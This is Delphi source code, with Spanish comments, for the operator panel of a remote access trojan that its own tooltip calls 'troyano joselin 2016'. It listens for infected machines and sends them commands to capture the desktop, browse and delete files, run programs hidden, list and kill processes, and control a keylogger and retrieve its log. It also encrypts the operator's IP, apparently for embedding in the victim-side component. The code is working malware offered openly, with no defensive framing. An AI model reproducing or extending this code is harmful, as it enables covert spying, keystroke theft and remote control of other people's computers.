unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, StdCtrls, ScktComp, ExtCtrls,jpeg, Menus, ImgList,ShellApi,mmsystem,
XPMan,unit2,SeAES256,SeBase64,SeEasyAES,winsock, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,WinInet, IdRawBase,
IdRawClient, IdIcmpClient;//,SeSHA256,SeStreams ;
//parte de notificacion
const
WM_ICONRESPONSE = WM_USER + 1;
NIF_INFO = $10;//icono informacion
NIF_GUID =$20;
NIF_MESSAGE = 1;
NIF_ICON = 2;
NOTIFYICON_VERSION = 3;
NIF_TIP = 4;
NIM_SETVERSION = $00000004;
NIM_SETFOCUS = $00000003;
NIIF_INFO = $00000001;
NIIF_WARNING = $00000002;
NIIF_ERROR = $00000003;
//define the callback message}
TRAY_CALLBACK = WM_USER + $7258;
NIN_BALLOONSHOW = WM_USER + 2;
NIN_BALLOONHIDE = WM_USER + 3;
NIN_BALLOONTIMEOUT = WM_USER + 4;
NIN_BALLOONUSERCLICK = WM_USER + 5;
type
PNewNotifyIconData = ^TNewNotifyIconData;
TDUMMYUNIONNAME = record
case Integer of
0: (uTimeout: UINT);
1: (uVersion: UINT);
end;
TNewNotifyIconData = record
cbSize: DWORD;
Wnd: HWND;
uID: UINT;
uFlags: UINT;
uCallbackMessage: UINT;
hIcon: HICON;
szTip: array [0..127] of Char;
dwState: DWORD;
dwStateMask: DWORD;
szInfo: array [0..255] of Char;
DUMMYUNIONNAME: TDUMMYUNIONNAME;
szInfoTitle: array [0..63] of Char;
dwInfoFlags: DWORD;
end ;
type
TForm1 = class(TForm)
ListView1: TListView;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
TabSheet4: TTabSheet;
TabSheet5: TTabSheet;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
Button3: TButton;
//ServerSocket1: TServerSocket;
Button4: TButton;
Button5: TButton;
Image1: TImage;
ComboBox1: TComboBox;
Label1: TLabel;
Edit2: TEdit;
Label2: TLabel;
ListView2: TListView;
ListView3: TListView;
Button6: TButton;
Button7: TButton;
Button8: TButton;
PopupMenu1: TPopupMenu;
Memo1: TMemo;
actualizar1: TMenuItem;
abrirarchivo1: TMenuItem;
eliminararchivo1: TMenuItem;
N1: TMenuItem;
normal1: TMenuItem;
oculto1: TMenuItem;
ImageList1: TImageList;
Label3: TLabel;
PopupMenu2: TPopupMenu;
procesosactualizar1: TMenuItem;
N2: TMenuItem;
edetener1: TMenuItem;
Button9: TButton;
PopupMenu3: TPopupMenu;
ACERCADE1: TMenuItem;
salir1: TMenuItem;
Button10: TButton;
Button11: TButton;
Image2: TImage;
ImageList2: TImageList;
ComboBox2: TComboBox;
Label4: TLabel;
ImageList3: TImageList;
Label5: TLabel;
Image3: TImage;
TabSheet6: TTabSheet;
Edit3: TEdit;
Button12: TButton;
Label6: TLabel;
Edit4: TEdit;
Label7: TLabel;
Edit5: TEdit;
Label8: TLabel;
Button13: TButton;
Edit6: TEdit;
Label9: TLabel;
Button14: TButton;
ServerSocket1: TServerSocket;
RadioGroup1: TRadioGroup;
Label10: TLabel;
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure Label1Click(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
procedure ListView2DblClick(Sender: TObject);
procedure Label3Click(Sender: TObject);
procedure actualizar1Click(Sender: TObject);
procedure eliminararchivo1Click(Sender: TObject);
procedure normal1Click(Sender: TObject);
procedure oculto1Click(Sender: TObject);
procedure procesosactualizar1Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure salir1Click(Sender: TObject);
procedure ACERCADE1Click(Sender: TObject);
procedure edetener1Click(Sender: TObject);
procedure AddBitmap(ImageList: TImageList; Bmp: TBitmap);
procedure ComboBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
procedure Button10Click(Sender: TObject);
procedure Button11Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure ListView1Click(Sender: TObject);
procedure ListView1CustomDrawItem(Sender: TCustomListView;
Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
procedure Label4Click(Sender: TObject);
procedure Button12Click(Sender: TObject);
procedure Button13Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
IconData: TNewNotifyIconData;
procedure SysTrayIconMsgHandler(var Msg: TMessage); message TRAY_CALLBACK;
//popup menu cordenadas
procedure IconResponse(var Msg: TMessage); message WM_ICONRESPONSE;
procedure AddSysTrayIcon;
procedure ShowBalloonTips(datos:string);
procedure DeleteSysTrayIcon;
public
{ Public declarations }
end;
var
Form1: TForm1;
stSize: integer;
Stream: TMemoryStream;
Receiving: boolean;
jpg: TJpegImage;
FrmCount :integer;
const
Pagina = 'http://dynupdate.no-ip.com/ip.php';
implementation
{$R *.dfm}
function ObtenerIP: String;
var
hNet: HINTERNET;
hUrl: HINTERNET;
Buffer: array[0..15] of Char;
BytesRead: DWORD;
begin
Result := '';
hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if (hNet <> nil) then
begin
hUrl := InternetOpenUrl(hNet, Pagina, nil, 0, INTERNET_FLAG_RELOAD, 0);
if (hUrl <> nil) then
begin
FillChar(Buffer,Sizeof(Buffer),0);
if InternetReadFile(hUrl, @Buffer, sizeof(Buffer)-1, BytesRead) then
// Aqui comprobamos que la direccion que nos devuelve tiene el formato correcto
if inet_addr(@Buffer)<>INADDR_NONE then
Result:= Buffer;
InternetCloseHandle(hUrl);
end;
InternetCloseHandle(hNet);
end;
end;
//*******************
//*****************
procedure TForm1.DeleteSysTrayIcon;
begin
DeallocateHWnd(IconData.Wnd);
if not Shell_NotifyIcon(NIM_DELETE, @IconData) then
ShowMessage('delete fail');
end;
//ya entendi desde aca se puede manejar los mensajes del globo
//ejemplo hacer click que hacer al pasar el mouse por arriba
//lo elimine para colocar el submenu al icono revisar si se puede colocar de vuelta
procedure TForm1.SysTrayIconMsgHandler(var Msg: TMessage);
begin
case Msg.lParam of
WM_MOUSEMOVE:;
WM_LBUTTONDOWN:;
WM_LBUTTONUP:;
WM_LBUTTONDBLCLK:;
WM_RBUTTONDOWN:;
WM_RBUTTONUP:;
WM_RBUTTONDBLCLK:;
//followed by the new messages
NIN_BALLOONSHOW:
{Sent when the balloon is shown}
ShowMessage('NIN_BALLOONSHOW');
NIN_BALLOONHIDE:;
{Sent when the balloon disappears?Rwhen the icon is deleted,
for example. This message is not sent if the balloon is dismissed because of
a timeout or mouse click by the user. }
// ShowMessage('NIN_BALLOONHIDE');
NIN_BALLOONTIMEOUT:;
{Sent when the balloon is dismissed because of a timeout.}
// ShowMessage('NIN_BALLOONTIMEOUT');
NIN_BALLOONUSERCLICK:;
{Sent when the balloon is dismissed because the user clicked the mouse.
Note: in XP there's Close button on he balloon tips, when click the button,
send NIN_BALLOONTIMEOUT message actually.}
//ShowMessage('NIN_BALLOONUSERCLICK');
end;
END;
{ add an icon to notification area}
procedure TForm1.AddSysTrayIcon;
begin
IconData.cbSize := SizeOf(IconData);
IconData.Wnd := handle ;//OR AllocateHWnd(SysTrayIconMsgHandler);//AllocateHWnd(SysTrayIconMsgHandler);
// IconData.Wnd := AllocateHWnd(SysTrayIconMsgHandler);
{SysTrayIconMsgHandler is then callback message' handler}
IconData.uID := 0;
IconData.uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
//IconData.uCallbackMessage := TRAY_CALLBACK; //user defined callback message
IconData.uCallbackMessage := WM_ICONRESPONSE ;//OR TRAY_CALLBACK; //llamamos al menu en systray
IconData.hIcon := Application.Icon.Handle; //an Icon's Handle
IconData.szTip := 'troyano joselin 2016';//nombre del icono al pasar mouse
if not Shell_NotifyIcon(NIM_ADD, @IconData) then
ShowMessage('add fail');
end;
{ShowBalloonTips procedure carry out the new feature: Balloon Tips}
procedure TForm1.ShowBalloonTips(datos:string);
var
TipInfo, TipTitle: string;
begin
IconData.cbSize := SizeOf(IconData);
//IconData.uFlags := NIF_INFO; //icono de informacion
IconData.uFlags := NIF_INFO; //icono de informacion
TipInfo := datos;
strPLCopy(IconData.szInfo, TipInfo, SizeOf(IconData.szInfo) - 1);
IconData.DUMMYUNIONNAME.uTimeout := 3000;
TipTitle := 'nueva conexion';
strPLCopy(IconData.szInfoTitle, TipTitle, SizeOf(IconData.szInfoTitle) - 1);
IconData.dwInfoFlags := NIIF_INFO; //NIIF_ERROR; //NIIF_WARNING;
Shell_NotifyIcon(NIM_MODIFY, @IconData);
{in my testing, the following code has no use}
IconData.DUMMYUNIONNAME.uVersion := NOTIFYICON_VERSION;
if not Shell_NotifyIcon(NIM_SETVERSION, @IconData) then
ShowMessage('setversion fail');
end;
procedure TForm1.IconResponse(var Msg: TMessage);
var
pt: TPoint;
begin
case Msg.lParam of
WM_LBUTTONDOWN:
begin
// Do nothing
end;
WM_RBUTTONDOWN:
begin
GetCursorPos(pt);
PopupMenu3.Popup(pt.x, pt.y);
end;
end;
end;
///*******************************************
//*******************************************
//******************************************
//*******************************************
//**********FIN BALONTIP Y TRAYICON********
procedure tform1.AddBitmap(ImageList: TImageList; Bmp: TBitmap);
var
mask : TBitmap;
begin
mask := TBitmap.Create;
try
mask.Assign(Bmp);
ImageList.Add(Bmp, mask);
//almacena en index := 0
finally
mask.Free;
end;
end;
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
PlaySound(pchar('out.wav'), 0, SND_ASYNC); //play file.wav
Socket.SendText('informe');
end;
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
Var
L :Tlistitem;
begin
L := ListView1.FindCaption( 0, IntToStr(socket.Handle),false,true,false );
if L <> nil then L.Delete;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if ServerSocket1.Active = false then begin
//ServerSocket1.Active :=false;
ServerSocket1.Port := StrToInt(Edit1.Text);
ServerSocket1.Active := true;
try
except
MessageBox(Handle, 'error, verifique si el puerto esta en uso !', 'Aviso', 16);
end;
end
else begin
showmessage('el puerto ya esta abierto!!');
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
try
ServerSocket1.Active := false;
Listview1.Clear;
except
MessageBox(Handle, 'error, verifique si el puerto esta en uso!', 'Aviso', 16);
end;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
If not Assigned(listview1.Selected) then
begin
showmessage('seleccione una conexion');
exit ;
end
else
begin
serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('cap1');
end;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
Var
pid,proceso:string;
n:integer;
lista3:tstrings;//procesos
//fin iconos
L: TListItem;
username,compname,sistema:string;
//Datos,datosFileManager: String; //delphi7
Datos,datosFileManager: ansiString;//delphi2010
L2: TListItem;
l3:tlistitem;
Lista: TStringlist;
listafiles:tstringlist;
listafiles2:tstringlist;
listatipos:tstringlist;
//parte añadir iconos de drivers
t:tstringlist;//para iconos de drivers
icondr:tstringlist;
discos,tipos:string;
iconicof:ticon;
//********
str,str2:string;
i,e:integer;
begin
Datos := Socket.ReceiveText ;
//se recibe los datos de la conexio y se agregan a listado
if copy (datos,1,16) ='respuestainforme' then
begin
Delete(datos, 1, 16);
L := Listview1.Items.Add;
l.Caption := IntToStr( socket.Handle );
l.SubItems.Add( socket.RemoteAddress );
username := Copy(datos, 1, Pos('º', datos)-1);
Delete(datos, 1, Pos('º', datos));
compname := Copy(datos, 1, Pos('º', datos)-1);
Delete(datos, 1, Pos('º', datos));
sistema:= (datos);
//delete(dados);
//verificar si se borra la cadena o no afecta
//verifivcar porque la cadena llega cortada y falla si colocamos primero username
//ejemplo llega de esta forma ...( respuestainformejoselin )
L.SubItems.Add(compname+'/'+username );
L.SubItems.Add(sistema);
L.SubItems.Add('0');
// mostrar notificacion
ShowBalloonTips(socket.RemoteAddress+#10#13+compname+'/'+username);
end;
//recibimos los discos
if copy (datos,1,11) ='<|Drivers|>' then begin
datosFileManager := datos;
Delete(datosFileManager, 1, Pos('<|Drivers|>', datosFileManager)+10);//borramos indicador1
Delete(datosFileManager, Pos('<<|Drivers|>>', datosFileManager),13);//borramos indicador2
t:=tstringlist.Create;
t.text:= datosFileManager;
for i:=0 to t.count -1 do begin
discos:= discos+copy(t[i],0,3)+#13;
tipos:= tipos+copy(t[i],pos('\',t[i])+1,length(t[i])-1)+#13;
end;
T.Free;
ComboBox1.Items.Text := discos;
icondr:=tstringlist.Create;
iconicof:= TIcon.Create;
icondr.Text:=tipos;
for i:=0 to icondr.Count -1 do begin
if icondr.strings[i] = 'FIXED' then
imagelist2.GetIcon(0,iconicof);
if icondr.strings[i] = 'REMOVABLE' then
imagelist2.GetIcon(1,iconicof);
if icondr.strings[i] = 'CDROM' then
imagelist2.GetIcon(2,iconicof);
imagelist3.addicon(iconicof);
end;
iconicof.Free;
icondr.Free;
//en tipos tenemos almacenados el typedrive del disco
// end;
//ComboBox1.Items.Text := Copy(datosFileManager, 1, Pos('<<|Drivers|>>', datosFileManager)-1);
// porque manda c:\ predefinido??????
// SS2.Socket.Connections[LV.ItemIndex].SendText('admarch0'+'C:\'+'admarch1');
// Serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('admarch0'+'C:\'+'admarch1');
end;
//recibimos las carpetas
if Pos('<|Pastas|>', datos)>0 then begin
datosFileManager := datos;
// agrego la imagen de carpeta al imagelist1
AddBitmap(ImageList1,image2.Picture.Bitmap);
Lista := TStringList.Create;
Lista.Clear;
Delete(datosFileManager, 1, Pos('<|Pastas|>', datosFileManager)+9);
Lista.Text := Copy(datosFileManager, 1, Pos('<<|Pastas|>>', datosFileManager)-1);//
for i:=0 to Lista.Count-1 do begin
L2 := Listview2.Items.Add;
L2.Caption := Lista.Strings[i];
L2.SubItems.Add('carpeta');
L2.ImageIndex := 0;
end;
lista.Free;
// se piden los archivos del directorio en base al path que se coloco en el edit2
Serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('admarchtwo'+edit2.Text+'*admarchtwo*');
end;
//recibimos los archivos del directorio
//extraido de coolvibes indetectables.net
//los datos muy largos llegan cortados
//se trabaja igual que el stream se envia el tamaño y luego
//mientras no se iguale el recivo de paquetes no termina
//el probelema surgio al listar los archivos de system32
if Pos('<|archivos|>', datos)>0 then begin
Delete(datos, 1, 12); //Borra '<|Archivos|>'
if Pos('<<|archivos|>>', datos) > 1 then
begin
Str := Copy(datos, 1, Pos('<<|archivos|>>', datos) - 1); //Saca la longitud de la cadena
Delete(datos, 1, Pos('<<|archivos|>>', datos)+13); //Borra la longitud
end;
while Length(datos) < StrToInt(Str) do //mientras el length de la cadena sea menor a lo que nos dice el server
datos := datos + Socket.ReceiveText;
Listatipos := TStringList.Create;
Listatipos.Clear;
Listafiles := TStringList.Create;
Listafiles.Clear;
Listafiles2 := TStringList.Create;
Listafiles2.Clear;
Listafiles.Text :=datos;
for i:=0 to Listafiles.Count-1 do begin
listafiles2.add(copy(Listafiles[i],1,pos('|',Listafiles[i])-1));
end;
Listatipos := FileAssociationDetails( Listafiles2);
for i:=0 to Listafiles.Count-1 do begin
L2 := Listview2.Items.Add;
L2.Caption := copy(listafiles[i],1,pos('|',listafiles[i])-1);
//eliminamos lo anterior y queda el tamaño del archivo
str2:= listafiles[i];
delete(str2,1,pos('|',str2)+4);
L2.SubItems.Add(Listatipos.strings[i]);
L2.SubItems.Add(str2);
L2.ImageIndex := i+2;
end;
Listatipos.Free;
Listafiles2.Free;
listafiles.Free;
//se puede enviar otro comando server
//Serversocket1.Socket.Connections[Listview1.ItemIndex].SendText
end;
//llegaron los procesos
if copy(datos,1,17)='respuestaprocesos' then begin
ListView3.items.Clear;
delete(datos,1,17);
lista3:=tstringlist.create;
lista3.clear;
lista3.Text:=datos;
for n := 0 to lista3.Count-1 do begin
L3 := Listview3.Items.Add;
pid:= Copy(datos, 1, Pos('pid', datos)-1);//copia todo lo que est entre pidxxxpid
Delete(datos, 1, Pos('pid', datos)+2); //pid tiene 3 caract borra pid como 012 tres caracteres
//l3.Caption := (pid );
// showmessage(pid);
// l3.Caption := (pid );
proceso:= Copy(datos, 1, Pos('name', datos)-1);
Delete(datos, 1, Pos('name', datos)+5);//5 caracteres 01234+ mas el espacio #13 =5
// l3.SubItems.Add( proceso);
// showmessage(proceso);
// proceso:= datos;
//se puede invertir
//el bucle almacena las cadenas
l3.Caption := (proceso );
l3.SubItems.Add( pid);
end;
end;
//captura escritorio
if not Receiving then
begin
if pos(#0,datos) > 0 then
stSize:=strtoint(copy(datos,1,pos(#0,datos)-1))
else
exit;
Stream:=TMemoryStream.Create;
Receiving:=True;
delete(datos,1,pos(#0,datos));
end;
try
Stream.Write(datos[1],length(datos));
if Stream.Size = stSize then
begin
Stream.Position:=0;
Receiving:=False;
jpg:=TJPEGImage.Create;
jpg.LoadFromStream(Stream);
Image1.Picture.Assign(jpg);
Stream.Free;
end;
except
Stream.Free;
end;
//fin captura escritorio
end;
procedure TForm1.Label1Click(Sender: TObject);
begin
If not Assigned(listview1.Selected) then
begin
showmessage('seleccione una conexion');
exit ;
end
else
begin
Listview2.Clear;
//ID.Text := 'C:\';
//ComboBox1.Text := 'C:\';
// Serversocket1.Socket.Connections[listview1.ItemIndex].SendText('<|Drivers|>');
Serversocket1.Socket.Connections[listview1.ItemIndex].SendText('<|Drivers|>');
end;
end;
procedure TForm1.ComboBox1Change(Sender: TObject);
begin
If not Assigned(Listview1.Selected) then exit;
if combobox1.Text ='A:\' THEN
EXIT;
//SS2.Socket.Connections[LV.ItemIndex].SendText('<|FileManager|>'+ComboBox1.Text+'<<|FileManager|>>');
edit2.Text:= ComboBox1.Text;
Serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('admarch0'+ComboBox1.Text+'admarch1');
Listview2.Clear;
imagelist1.Clear;
//ComboBox1.Enabled := false;
//ID.Enabled := false;
end;
procedure TForm1.ListView2DblClick(Sender: TObject);
begin
If not Assigned(Listview1.Selected) then exit;
//si la imagen es de una carpeta entonces
if listview2.Selected.ImageIndex = 0 then begin
//si es un subdirectorio
if listview2.Selected.Caption = '..' then
edit2.Text:=ExtractFilePath(Copy(edit2.Text,1,Length(edit2.Text)-1))
else
//si es el directorio principal c:\
edit2.Text := edit2.Text+listview2.Selected.Caption+'\';
Serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('admarch0'+edit2.Text+'admarch1');
Listview2.Clear;
imagelist1.clear;
//ComboBox1.Enabled := false;
//ID.Enabled := false;
end;
end;
procedure TForm1.Label3Click(Sender: TObject);
begin
sndPlaySound(nil, 0); // Stops the sound
end;
procedure TForm1.actualizar1Click(Sender: TObject);
begin
//actualizar directorios desde el path colocado en el edit2.text
If not Assigned(Listview1.Selected) then exit;
if edit2.Text='' then exit;
Serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('admarch0'+edit2.Text+'admarch1');
Listview2.Clear;
imagelist1.Clear;
end;
procedure TForm1.eliminararchivo1Click(Sender: TObject);
begin
//eliminar archivo
If not Assigned(listview1.Selected) then exit;
//carpeta //archivo
serversocket1.Socket.Connections[listview1.ItemIndex].SendText('borrararchivo' + edit2.text + Listview2.Selected.Caption);
end;
procedure TForm1.normal1Click(Sender: TObject);
begin
//ejecutar archivo modo normal
If not Assigned(listview1.Selected) then exit;
Serversocket1.Socket.Connections[listview1.ItemIndex].SendText('ejecutarnormal'+edit2.Text + Listview2.Selected.Caption)
end;
procedure TForm1.oculto1Click(Sender: TObject);
begin
//ejecutar oculto
If not Assigned(listview1.Selected) then exit;
Serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('ejecutaroculto'+edit2.Text + Listview2.Selected.Caption);
end;
procedure TForm1.procesosactualizar1Click(Sender: TObject);
begin
If not Assigned(listview1.Selected) then
begin
showmessage('seleccione una conexion');
exit ;
end
else
begin
Serversocket1.Socket.Connections[listview1.ItemIndex].SendText('verprocesos');
end;
end;
procedure TForm1.Button9Click(Sender: TObject);
//var
//i:integer;
begin
If not Assigned(listview1.Selected) then
// If (Listview1.Selected.Checked = false) then
begin
showmessage('seleccione una conexion con doble click');
exit ;
end
else
begin
Listview2.Clear;
//ID.Text := 'C:\';
//ComboBox1.Text := 'C:\';
// Serversocket1.Socket.Connections[listview1.ItemIndex].SendText('<|Drivers|>');
Serversocket1.Socket.Connections[listview1.ItemIndex].SendText('<|Drivers|>');
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
AddSysTrayIcon;
// ShowBalloonTips;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
//*************revisar en win 7 no funciona DeleteSysTrayIcon; si en xp pero xp obsoleto
//DeleteSysTrayIcon;
end;
procedure TForm1.salir1Click(Sender: TObject);
begin
close;
end;
procedure TForm1.ACERCADE1Click(Sender: TObject);
begin
showmessage('joselin 2016');
end;
procedure TForm1.edetener1Click(Sender: TObject);
begin
If not Assigned(listview1.Selected) then exit;
//showmessage( listview3.Selected.SubItems.Strings[0]);
serversocket1.Socket.Connections[listview1.ItemIndex].SendText('terminarproc' +listview3.Selected.SubItems.Strings[0]);
end;
procedure TForm1.ComboBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
AnIcon : TIcon;
begin
AnIcon := TIcon.Create;
try
form1.ImageList3.GetIcon (Index,AnIcon);
with Control as TComboBox do begin
Canvas.Draw (Rect.Left,Rect.Top,AnIcon);
Canvas.TextOut (Rect.Left + form1.ImageList3.Width,Rect.Top,Items[Index]);
end;
finally
AnIcon.Free;
end
end;
procedure TForm1.Button10Click(Sender: TObject);
begin
If not Assigned(listview1.Selected) then
begin
showmessage('seleccione una conexion');
exit ;
end
else
begin
serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('actkey');
label5.Caption:= 'keyloger activado';
end;
end;
procedure TForm1.Button11Click(Sender: TObject);
begin
If not Assigned(listview1.Selected) then
begin
showmessage('seleccione una conexion');
exit ;
end
else
begin
serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('desactkey');
label5.Caption:= 'keyloger desactivado';
end;
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
If not Assigned(listview1.Selected) then
begin
showmessage('seleccione una conexion');
exit ;
end
else
begin
serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('downactkey');
end;
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
If not Assigned(listview1.Selected) then
begin
showmessage('seleccione una conexion');
exit ;
end
else
begin
memo1.Clear;
serversocket1.Socket.Connections[Listview1.ItemIndex].SendText('delkey');
end;
end;
procedure TForm1.ListView1Click(Sender: TObject);
var
i :integer;
begin
if listview1.itemindex = -1 then
exit
else
caption:= 'conectado a ip: ' + listview1.selected.subitems[0]+' pc/name: '+listview1.selected.subitems[1];
{ for i:=0 to listview1.Items.Count -1 do
ListView1.Items.Item[i].SubItems[3] :='0';
ListView1.Selected.SubItems[3]:='1';}
// ListView1.Items[i].Update;
// if ListView1.Selected.SubItems[3]='2'then
//ListView1.Items[1].SubItems[2] := 'Done';
// 1 es el item completo 2 es el subitem
// ListView1.Items[1].Update;
//actualiza todo el item---------
end;
procedure TForm1.ListView1CustomDrawItem(Sender: TCustomListView;
Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
begin
//$FFCCCC violeta , $CCFFCC verdeclaro, $CCCCFF rozado , $CCFFFF amarillo
Sender.Canvas.Font.Color:=clblack ;
sender.Canvas.Brush.Color := $CCFFCC;
end;
procedure TForm1.Label4Click(Sender: TObject);
begin
PlaySound(pchar('out.wav'), 0, SND_ASYNC); //play file.wav
end;
procedure TForm1.Button12Click(Sender: TObject);
var
cifrado: widestring;
begin
//si hay internet
if InternetGetConnectedState(NIL, 0) = true then begin
edit3.text:=pansichar(obtenerip); //pansichar para delphi 2010
Cifrado:= EasyAESEnc(edit3.text,edit5.text);
edit4.text:='#'+cifrado+'*';
end
else
begin
showmessage('no hay conexion a internet');
end;
end;
procedure TForm1.Button13Click(Sender: TObject);
var
cifrado :widestring;
begin
cifrado:=edit4.Text;
Cifrado:= EasyAESDec(Cifrado,edit5.text);
showmessage(cifrado);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
showmessage('lo sentimos no hay opcion de configurar');
end;
end.